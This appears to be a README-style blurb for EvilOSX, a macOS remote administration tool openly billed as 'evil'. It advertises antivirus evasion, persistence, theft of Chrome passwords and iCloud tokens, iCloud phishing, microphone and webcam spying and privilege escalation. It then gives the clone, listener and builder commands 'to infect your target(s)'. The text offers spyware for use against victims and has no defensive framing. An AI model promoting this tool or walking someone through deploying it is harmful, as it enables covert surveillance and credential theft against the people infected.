EvilOSX is an Evil Remote Administration Tool For MacOS / OS X with the following features like Emulate a terminal instance, Simple extendable module system, No bot dependencies, Undetected by anti-virus, Persistent, GUI and CLI support, Retrieve Chrome passwords, Retrieve iCloud tokens and contacts, Retrieve/monitor the clipboard, Retrieve browser history, Phish for iCloud passwords via iTunes, iTunes (iOS) backup enumeration, Record the microphone, Take a desktop screenshot or picture using the webcam and Attempt to get root via local privilege escalation.
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# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX
# Install dependencies required by the server
$ sudo pip3 install -r requirements.txt
# Go into the repository
$ cd EvilOSX
# Start listening for connections
$ python3 start.py
# Lastly, run the built launcher (see the builder tab) on your target(s) Warning: Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time.
There is also a command line interface for those who want to use this over SSH:
# Create a launcher to infect your target(s)
$ python3 builder.py
# Start listening for connections
$ python3 start.py --cli --port 1337
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